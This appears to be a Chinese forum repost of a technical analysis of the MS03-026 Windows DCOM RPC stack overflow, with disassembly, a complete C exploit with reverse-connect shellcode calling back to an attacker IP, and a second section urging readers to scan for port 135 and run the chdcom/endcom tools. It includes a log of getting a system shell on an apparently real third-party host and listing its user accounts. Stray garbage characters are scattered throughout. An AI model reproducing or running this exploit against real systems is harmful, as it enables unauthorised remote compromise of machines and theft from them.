LSD RPC 溢出漏洞之分析

ASEE

作者：FLASHSKY 作者单位：启明星辰积极防御实验室 , ]6 |- @( J' YWWW SITE：WWW.VENUSTECH.COM.CN WWW.XFOCUS.NET，WWW.SHOPSKY.COM ; T: N! d. C+ T邮件：flashsky@xfocus.org,fangxing@venustech.com.cn,webmaster@shopsky.com 感谢BENJURRY做测试，翻译和代码的通用化处理。 / }2 I3 ~' _1 }) Z0 C# o9 b邮件：benjurry@xfocus.org , i7 L( h- [3 r& XLSD 的RPC溢出漏洞（MS03-26）其实包含了2个溢出漏洞，一个是本地的，一个是远程的。他们都是由一个通用接口导致的。 ) C o9 \/ K/ F( w- M8 H导致问题的调用如下： ' k$ E6 W8 b5 W" u& H0 T& g, uhr = CoGetInstanceFromFile(pServerInfo,NULL,0,CLSCTX_REMOTE_SERVER,STGM_READWRITE,L"C:\\1234561111111111111111111111111.doc",1,&qi); 这个调用的文件名参数（第5个参数，会引起溢出），当这个文件名超长的时候，会导致客户端的本地溢出（在RPCSS中的GetPathForServer函数里只给了0X220堆栈的空间，但是是用lstrcpyw进行拷贝的），这个我们在这里就不深入研究了(不过这个API先会检查本地文件是否存在，在进行处理，因此由于建不了长文件，所以要利用这个溢出不能直接调用这个API，而是构造好包信息以后直接调用LPC的函数，有兴趣的可以自己去试。),我们来讲解一下远程的溢出。 % B3 X7 z6 o7 A7 E" I$ v2 r3 ~在客户端给服务器传递这个参数的时候，会自动转化成如下格式：L“\\servername\c$\1234561111111111111111111111111.doc"这样的形式传递给远程服务器，于是在远程服务器的处理中会先取出servername名，但是这里没做检查，给定了0X20（默认NETBIOS名）大小的空间，于是堆栈溢出产生了： & b/ P9 g; L1 W问题代码如下： 9 l2 e& j% F* @4 @3 W% o9 yGetPathForServer： " V% S# O0 p, B0 n.text:761543DA push ebp .text:761543DB mov ebp, esp .text:761543DD sub esp, 20h <-----0x20空间 % B F( f: K4 a5 S/ e6 {.text:761543E0 mov eax, [ebp+arg_4] .text:761543E3 push ebx - J- Q5 w5 u( F) g0 C.text:761543E4 push esi .text:761543E5 mov esi, [ebp+hMem] .text:761543E8 push edi .text:761543E9 push 5Ch 9 h( q+ r' v0 Y l7 T.text:761543EB pop ebx % k ^9 J) t8 p* h- k `! t8 W.text:761543EC mov [eax], esi 2 w7 t6 b. F+ K: h$ S! a.text:761543EE cmp [esi], bx 4 W3 b& T! Y" Q9 h2 K; z.text:761543F1 mov edi, esi .text:761543F3 jnz loc_761544BF .text:761543F9 cmp [esi+2], bx ) o! n* [6 z3 W5 ?1 k.text:761543FD jnz loc_761544BF ; A. Y) S8 |3 F1 k! R* r' f.text:76154403 lea eax, [ebp+String1]《-----------写入的地址，只有0X20 .text:76154406 push 0 .text:76154408 push eax .text:76154409 push esi 〈----------------------我们传入的文件名参数 .text:7615440A call GetMachineName # }+ e7 V; m2 f! s。。。。。。。。。。。。。。。。。。。。。。。。。。 此函数返回的时候，溢出点生效 GetMachineName: .text:7614DB6F mov eax, [ebp+arg_0] 6 e, _; r( I% H1 `.text:7614DB72 mov ecx, [ebp+arg_4] .text:7614DB75 lea edx, [eax+4] .text:7614DB78 mov ax, [eax+4] .text:7614DB7C cmp ax, 5Ch 〈-----------------只判断0X5C .text:7614DB80 jz short loc_7614DB93 3 B% V- t0 o% f0 c7 t/ q.text:7614DB82 sub edx, ecx .text:7614DB84 1 t4 Y f6 d) L& R# V* p.text:7614DB84 loc_7614DB84: ; CODE XREF: sub_7614DA19+178j 1 n7 v" o ?; S: c" b& |; S.text:7614DB84 mov [ecx], ax 〈----------------写入上个只有0X20的空间，超过就溢出 8 W$ W, W/ P3 { W& `.text:7614DB87 inc ecx .text:7614DB88 inc ecx % R2 R2 m4 c* S& r% K8 m8 R.text:7614DB89 mov ax, [ecx+edx] + O5 t# Z& h6 t1 Z) q* Q& {.text:7614DB8D cmp ax, 5Ch ; }- o2 H) C5 d+ F8 c4 z.text:7614DB91 jnz short loc_7614DB84 .text:7614DB93 ( F7 P2 L) w% i. o7 POK，我们现在就需要想法来利用这个漏洞，由于\\SERVERNAME是由系统自动生成的，我们只能利用手工直接生成RPC的包来实现，另外SHELLCODE中不能包含0X5C，因为这样判断就是\\SERVERNAME结束了。 ) c4 z! y& X2 m/ K, A6 C8 _/ U下面就给出一个实现的代码，注意点如下： 1.由于RPCRT4，RPCSS中没有JMP ESP的代码，这里使用了OLE32.DLL中的，但是这可能是会重定位的，大家测试的时候 需要再确定或自己找一个存在的JMP ESP的代脉，我的这是WIN2000+SP3上的地址且OLE32未重定位情况下的。 2。这里使用了反向连接的SHELLCODE，需要先运行NC 3。程序中的SC的整体长度必须满足sizeof(sz)%16=12的关系，因为不是整数的话，整个包的长度会有一些填充，那么 ( n0 L/ R9 p, n4 W! Q9 `$ D计算就不满足我这里给出的一个简单关系了，会导致RPC包的解析无效果。 ; m: q8 ]: M* B" `4 W$ a7 J, u: d, f4。在溢出返回前，返回地址后面的2个参数还会使用，所以需要保证是个内存可写空间地址。 . r1 H; p% W5 q$ V: k2 K5，这里是直接使用堆栈溢出返回的，其实大家也可以尝试一下覆盖SEH，这里就不再多讲了。 4 P! `; g/ U- |) e; k+ T #include ( t0 x0 k* b- |0 t#include " _4 r/ R- o+ ^. u; J2 C" H#include #include #include 8 f& c5 L+ B8 j% k, G9 F#include 8 |1 p7 \% E% L unsigned char bindstr[]={ ! E5 {0 v- M) F8 G4 c+ a0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00, 0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00, 2 v& Z1 ]9 i3 {% T* J/ i$ [0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00, 8 F- i8 u$ W( M, `; d' V! O0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00, " J0 s) B% Z. i0 w4 V" [0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00}; 9 k6 J4 P1 |& G% k1 sunsigned char request1[]={ ' t' F1 @% s+ q- j {6 j% r6 D0 l0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03 ,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00 ,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45 ' e; h3 J" A o# g,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00 : G& ], o6 F0 C2 \6 b9 P9 B,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E ,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D {: {0 f5 H) X- j. I,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41 ,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00 # c! `0 A* T0 `) s6 _,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45 ,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00 + W# Z! X5 @- M,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00 " f3 _! T$ q, B& ~$ c% }8 i2 J,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03 ' o: h9 x; h! ]9 N4 I- {) q: X,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00 " ~# Y' Q; w2 x9 e5 G- z,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00 0 u: _3 y4 K5 a,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 , v F# l% ], D. s1 E1 T4 x,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29 ,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00 $ d! R: p! u6 H) S) f3 O- F8 K' M,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00 1 c8 [. r9 q) d,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00 ) E# p) G0 G& l/ h# Z' \,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00 & l( T$ Z) E$ I! q# c- _ m$ d,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00 ,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10 ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF ,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + d* X* ]1 y9 s( y! r,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 1 H6 J: `" w) A% {5 u,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ' h. y5 P; a9 ~4 K L,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10 ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09 7 z. b' P0 K$ H( {8 X G" I; w; c,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00 + p7 r0 ^" P, X3 y+ o,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00 ,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00 ,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00 ,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ' i, ^* f' T! x,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00 ,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01 4 ]5 D: G7 U& N( q( Z,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03 `% i: B% t1 |" H,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00 1 d( t: t( C: T l,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E 6 B% c. w6 B. z+ Z4 h& w, J,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00 , @" W: H; `8 U9 o,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00 7 m5 S5 p! g9 A; B,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00 - q/ n7 a5 v' S* I [0 f,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00 1 P1 @4 H3 a/ k$ L) t2 W,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00 ,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 5 y# h( _5 z# c# n0 d6 o$ s,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00 " V4 Q8 d* o5 t0 \! e+ ]! ~0 }% b,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00}; 7 I$ s% r7 @1 c/ C |5 Bunsigned char request2[]={ 0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00 ,0x00,0x00,0x5C,0x00,0x5C,0x00}; " s* m/ p/ @1 f7 `6 o9 t1 ^( T 7 M9 r1 h {% M+ iunsigned char request3[]={ 6 ]. A. |2 o$ u0 g; J0x5C,0x00 ,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00 4 ^) ~ p8 u- P3 p,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 ,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 0 ]. r4 @; ]2 g X G0 X0 Y# B+ f" u,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00}; ( `! U/ o7 Q, R( H2 Cunsigned char sc[]= / d7 Z, B) D2 ~* ~5 }"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00" . `8 U4 H( S' B' T. m8 [* ?5 v! U"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00" "\x46\x00\x58\x00" 4 P7 K- Q% U( W"\x46\x00\x58\x00\x25\x2b\xaa\x77" //JMP ESP地址 IN ole32.DLL，可能需要自己改动 4 h& M. }% S M"\x38\x6e\x16\x76\x0d\x6e\x16\x76" //需要是可写的内存地址 //下面是SHELLCODE，可以放自己的SHELLCODE，但必须保证sc的整体长度/16=12，不满足自己填充一些0X90吧 //SHELLCODE不存在0X00，0X00与0X5C "\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01" & D$ o8 H) W( x$ @& m5 Z% T9 I"\xfc\xff\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30" 8 B1 i7 `% ]# Y) |5 D% R! @4 r"\x93\x40\xe2\xfa" // code "\x7b\xe4\x93\x93\x93\xd4\xf6\xe7\xc3\xe1\xfc\xf0\xd2\xf7\xf7\xe1" . d8 ^$ L" \1 Z ]; | d% J5 [0 S"\xf6\xe0\xe0\x93\xdf\xfc\xf2\xf7\xdf\xfa\xf1\xe1\xf2\xe1\xea\xd2" # F8 q2 }/ ?4 f"\x93\xd0\xe1\xf6\xf2\xe7\xf6\xc3\xe1\xfc\xf0\xf6\xe0\xe0\xd2\x93" ( J% G( m. z4 | q/ y"\xd0\xff\xfc\xe0\xf6\xdb\xf2\xfd\xf7\xff\xf6\x93\xd6\xeb\xfa\xe7" "\xc7\xfb\xe1\xf6\xf2\xf7\x93\xe4\xe0\xa1\xcc\xa0\xa1\x93\xc4\xc0" ! P6 y2 B9 Y, Q% I+ F"\xd2\xc0\xe7\xf2\xe1\xe7\xe6\xe3\x93\xc4\xc0\xd2\xc0\xfc\xf0\xf8" "\xf6\xe7\xd2\x93\xf0\xff\xfc\xe0\xf6\xe0\xfc\xf0\xf8\xf6\xe7\x93" "\xf0\xfc\xfd\xfd\xf6\xf0\xe7\x93\xf0\xfe\xf7\x93\xc9\xc1\x28\x93" $ \: d. e) D' h; O! ?"\x93\x63\xe4\x12\xa8\xde\xc9\x03\x93\xe7\x90\xd8\x78\x66\x18\xe0" "\xaf\x90\x60\x18\xe5\xeb\x90\x60\x18\xed\xb3\x90\x68\x18\xdd\x87" "\xc5\xa0\x53\xc4\xc2\x18\xac\x90\x68\x18\x61\xa0\x5a\x22\x9d\x60" "\x35\xca\xcc\xe7\x9b\x10\x54\x97\xd3\x71\x7b\x6c\x72\xcd\x18\xc5" " [" U. W* C1 u; q5 f# Q H- M"\xb7\x90\x40\x42\x73\x90\x51\xa0\x5a\xf5\x18\x9b\x18\xd5\x8f\x90" "\x50\x52\x72\x91\x90\x52\x18\x83\x90\x40\xcd\x18\x6d\xa0\x5a\x22" % c1 K) n! w5 |, p"\x97\x7b\x08\x93\x93\x93\x10\x55\x98\xc1\xc5\x6c\xc4\x63\xc9\x18" # q x) ~2 B/ y' B"\x4b\xa0\x5a\x22\x97\x7b\x14\x93\x93\x93\x10\x55\x9b\xc6\xfb\x92" / F* P6 N7 G& Q' k2 s4 P A8 r6 t"\x92\x93\x93\x6c\xc4\x63\x16\x53\xe6\xe0\xc3\xc3\xc3\xc3\xd3\xc3" ; D5 `, H+ M0 j1 ?+ [/ R7 O"\xd3\xc3\x6c\xc4\x67\x10\x6b\x6c\xe7\xf0\x18\x4b\xf5\x54\xd6\x93" 4 t a6 V4 @) K3 S"\x91\x93\xf5\x54\xd6\x91\x28\x39\x54\xd6\x97\x4e\x5f\x28\x39\xf9" + ], h8 Y' n. r3 c7 `8 S5 J"\x83\xc6\xc0\x6c\xc4\x6f\x16\x53\xe6\xd0\xa0\x5a\x22\x82\xc4\x18" "\x6e\x60\x38\xcc\x54\xd6\x93\xd7\x93\x93\x93\x1a\xce\xaf\x1a\xce" "\xab\x1a\xce\xd3\x54\xd6\xbf\x92\x92\x93\x93\x1e\xd6\xd7\xc3\xc6" "\xc2\xc2\xc2\xd2\xc2\xda\xc2\xc2\xc5\xc2\x6c\xc4\x77\x6c\xe6\xd7" % J6 n8 E2 N4 g3 [; N"\x6c\xc4\x7b\x6c\xe6\xdb\x6c\xc4\x7b\xc0\x6c\xc4\x6b\xc3\x6c\xc4" ! O+ a7 L! x5 _- d"\x7f\x19\x95\xd5\x17\x53\xe6\x6a\xc2\xc1\xc5\xc0\x6c\x41\xc9\xca" "\x1a\x94\xd4\xd4\xd4\xd4\x71\x7a\x50\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; 0 ?/ O5 w( x$ Q6 F1 A/ l+ Ounsigned char request4[]={ 0x01,0x10 ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00 ,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C ,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00 2 ~1 N c! K1 ?6 ^7 {" P4 a9 {" b}; 6 v+ r$ t" R% [ $ s+ m4 Y1 d: a. \& }( uvoid main(int argc,char ** argv) : `+ A% C+ M! d{ 6 w! s/ k. R$ l8 v% BWSADATA WSAData; 2 L, l1 h5 T3 G( ]) L+ n' pSOCKET sock; 9 D: p: k1 u1 {( |$ W0 ^; {int len,len1; " Y, v5 Y N5 J2 u" w0 F, Y$ GSOCKADDR_IN addr_in; % I! s; g& J0 s5 c& l/ E; eshort port=135; unsigned char buf1[0x1000]; 9 g9 E9 j7 e# }' c2 Z- }unsigned char buf2[0x1000]; unsigned short port1; DWORD cb; - ?* ?- i$ W5 Y) S4 l0 ~ if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0) : B9 G% A5 [7 N& T- z{ 3 H9 S9 ^ c, G4 ^printf("WSAStartup error.Error:%d\n",WSAGetLastError()); return; 5 B8 w3 a' l7 o9 a4 s} 7 ~9 A5 g6 w% B, x! V1 g addr_in.sin_family=AF_INET; addr_in.sin_port=htons(port); @+ p2 z/ O1 d+ yaddr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]); if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET) : Q$ p) ~3 @# C5 X{ 5 |* n3 L5 e, u6 M& Z/ V6 p Xprintf("Socket failed.Error:%d\n",WSAGetLastError()); & v; i: \, u7 w8 {return; & k$ P0 K& o8 a3 ~0 j8 u} if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR) : S8 i1 J5 Y' \. k; H" b6 v6 V{ printf("Connect failed.Error:%d",WSAGetLastError()); return; ' b9 B8 b3 D$ G3 e" }8 h& W} port1 = htons (2300); //反向连接的端口 7 f# y- l4 X- Y( m) y: ?port1 ^= 0x9393; 9 i% Y1 V' ~) W ?1 \% {: x# jcb=0XD20AA8C0; //反向连接的IP地址，这里是192。168。10。210， cb ^= 0x93939393; *(unsigned short *)&sc[330+0x30] = port1; *(unsigned int *)&sc[335+0x30] = cb; len=sizeof(sc); 2 D c4 P+ {; [memcpy(buf2,request1,sizeof(request1)); + J9 g& l/ [* e u1 b& Slen1=sizeof(request1); *(DWORD *)(request2)=*(DWORD *)(request2)+sizeof(sc)/2; //计算文件名双字节长度 *(DWORD *)(request2+8)=*(DWORD *)(request2+8)+sizeof(sc)/2;//计算文件名双字节长度 9 _5 Y% x. Q P qmemcpy(buf2+len1,request2,sizeof(request2)); 5 p! G/ ^/ ^" i* F2 L! olen1=len1+sizeof(request2); . U5 ^# C- d/ Smemcpy(buf2+len1,sc,sizeof(sc)); % [$ T' ]: @$ b' a3 y2 ]3 b: \len1=len1+sizeof(sc); memcpy(buf2+len1,request3,sizeof(request3)); len1=len1+sizeof(request3); % f9 s; v% F! T5 T9 Omemcpy(buf2+len1,request4,sizeof(request4)); % z; U% g _" m c( u5 A4 Alen1=len1+sizeof(request4); *(DWORD *)(buf2+8)=*(DWORD *)(buf2+8)+sizeof(sc)-0xc; $ f# m1 t* C+ t$ k+ \9 M//计算各种结构的长度 *(DWORD *)(buf2+0x10)=*(DWORD *)(buf2+0x10)+sizeof(sc)-0xc; 1 O8 a7 n( W! d4 a0 e; ~7 I% u5 J*(DWORD *)(buf2+0x80)=*(DWORD *)(buf2+0x80)+sizeof(sc)-0xc; *(DWORD *)(buf2+0x84)=*(DWORD *)(buf2+0x84)+sizeof(sc)-0xc; 0 ]0 f% [, x: P# y" m*(DWORD *)(buf2+0xb4)=*(DWORD *)(buf2+0xb4)+sizeof(sc)-0xc; *(DWORD *)(buf2+0xb8)=*(DWORD *)(buf2+0xb8)+sizeof(sc)-0xc; ! r, w/ [ B5 o: I3 ?' Q. m$ m*(DWORD *)(buf2+0xd0)=*(DWORD *)(buf2+0xd0)+sizeof(sc)-0xc; *(DWORD *)(buf2+0x18c)=*(DWORD *)(buf2+0x18c)+sizeof(sc)-0xc; if (send(sock,bindstr,sizeof(bindstr),0)==SOCKET_ERROR) Z# ^$ u: J( \{ ! r+ e3 ?. ? \" O# N5 k [0 g3 yprintf("Send failed.Error:%d\n",WSAGetLastError()); 6 v1 r2 F. v- ~ Wreturn; } len=recv(sock,buf1,1000,NULL); if (send(sock,buf2,len1,0)==SOCKET_ERROR) + s4 F) Q" ]$ U2 I$ @4 ?( b{ printf("Send failed.Error:%d\n",WSAGetLastError()); return; " T3 s' W/ q) i3 ]: ]; |$ ^! x} $ |9 C. p( U! h1 |! Elen=recv(sock,buf1,1024,NULL); : [3 Y" o9 `& A* q8 [. ?9 t} 4 k6 m# f0 ]8 ?5 j- s 补丁机理： 补丁把远程和本地的溢出都补了，呵呵，这个这么有名的东西，我也懒得多说了。 补记： & N+ n) S/ ~: m& \由于缺乏更多的技术细节，搞这个从上星期五到现在终于才搞定，惭愧，不过值得庆幸的是其间发现了RPC DCOM DOS的漏洞。先开始被本地溢出的迷惑了很久，怎么也无法远程进入这个函数，最后偶然的一次，让我错误的看花了眼，再远程调用的时候，以为GETSERVERPATH是存在本地溢出的GetPathForServer函数，，心中以为远程进入了GetPathForServer函数，仔细的跟踪，这才发现问题所在。感谢所有关心和指导我的同志们。

ASEE

攻击：XDcom.rar远程溢出攻击程序里有chdcom和endcom 2个溢出攻击程序 chdcom针对以下版本: - 0 Windows xp SP1 (cn) - 1 Windows 2000 SP3 (cn) - 2 Windows 2000 SP4 (cn) - 3 Windows 2000 SP3 (english) 7 N. l/ n2 d. w, B- 4 Windows 2000 SP4 (english) ' z# y- N2 B$ \. y- 5 Windows XP SP0 (english) 5 ^8 X( C* G' d( S. u$ Z- 6 Windows XP SP1 (english) Usage: chdcom cedcom针对以下版本: " K: H3 j2 Y( }$ L0 S- 0 Windows 2000 SP0 (english) " P& z, e% \7 T, l8 T# q- 1 Windows 2000 SP1 (english) - 2 Windows 2000 SP2 (english) ' B- w P9 d, R# k% E: E2 d- 3 Windows 2000 SP3 (english) - 4 Windows 2000 SP4 (english) ! S1 ]5 e; @8 ^/ X- 5 Windows XP SP0 (english) - 6 Windows XP SP1 (english) 0 ?: w. E+ Z% a# J0 DUsage: endcom cygwin1.dll应用程序扩展 7 ~" J& r* X, ~9 F0 A2 j7 `溢出目标IP前.先用扫描器扫描开135端口的肉机. 我已经测试近百台主机，当然都开了135的。我是用80来作为判断Target ID的标准。应该不会有错的。其中产生DOS（也就是说明益处成功）为%70左右， 0 i! Q5 Y) |; w- N + ^0 j" t# T. e9 }5 h* J- [比如说目标69.X.173.63开了135端口.Target ID是4 C:\dcom>chdcom 4 69.X.173.63 # P" f+ o" D) \, T2 ] e--------------------------------------------------------- - Remote DCOM RPC Buffer Overflow Exploit - Original code by FlashSky and Benjurry / b" J3 r% q, J! u9 u: A4 m- Rewritten by HDM last - last by nic -Compiled and recorrected by pingker! 2 @' e2 ~3 [9 b6 h3 A. d- Using return address of 0x77f92a9b , A9 U7 S/ X2 f/ G- Dropping to System Shell... Microsoft Windows 2000 [Version 5.00.2195] 4 G- A' X1 l' Q: S$ r# s(C) Copyright 1985-2000 Microsoft Corp. 9 z" f6 x6 O7 z6 ^+ [" B6 m $ [% q0 Y% K9 W* j) e: N2 _C:\WINNT\system32> 成功溢出. " P5 ~- H8 t/ _C:\WINNT\system32>net user net user $ u. v/ B: n: W. l2 V H4 T' |" z5 W A7 [; Z" lUser accounts for \ ---------------------------------------------------------------------------- * m3 z7 \" m- ^$ ?' G( V--- 6 b* o( t' H) ]! q+ c* v& f. C( zAdministrator ASPNET billbishopcom 8 Y( c4 ^# u) h s- x) cdivyanshu ebuyjunction edynamic1 / D4 o$ F: y# b' z, K& Medynamic2 Guest infinityaspnet 7 _* z# N5 J. X- K; E1 O1 ^infinityinformations IUSR_DIALTONE IUSR_NS1 - Q( e$ R, g V% t" G9 a0 GIWAM_DIALTONE IWAM_NS1 SQLDebugger TsInternetUser WO The command completed with one or more errors. - K; w7 ^) u+ K& D- w; _这样一来你想干什么就是你的事了. 这版本我已成功测试,70%成功率,可怕!!!,但EXIT目标后再溢出只得等目标 ; i: C r f! u$ R( g! ?6 b重启才行. CN可以是繁体或简体中文颁本. / ~$ e6 |( |/ Z! O% w4 [4 A再次警告:不要对付国内主机!!!!!后果自负!!!! XDcom.rar远程溢出攻击程序下载: http://www.cnse8.com/opensoft.asp?soft_id=206&url=3

ASEE

补丁：
Windows NT 4.0 Server ：

http://microsoft.com/downloads/d ... &displaylang=en
- B. `9 T/ B! D( p! {4 j  B4 d
Windows NT 4.0 Terminal Server Edition：

http://microsoft.com/downloads/d ... &displaylang=en
- z+ z- N7 s* ^
Windows 2000：

1 @4 w1 E& n% @- thttp://microsoft.com/downloads/d ... &displaylang=en
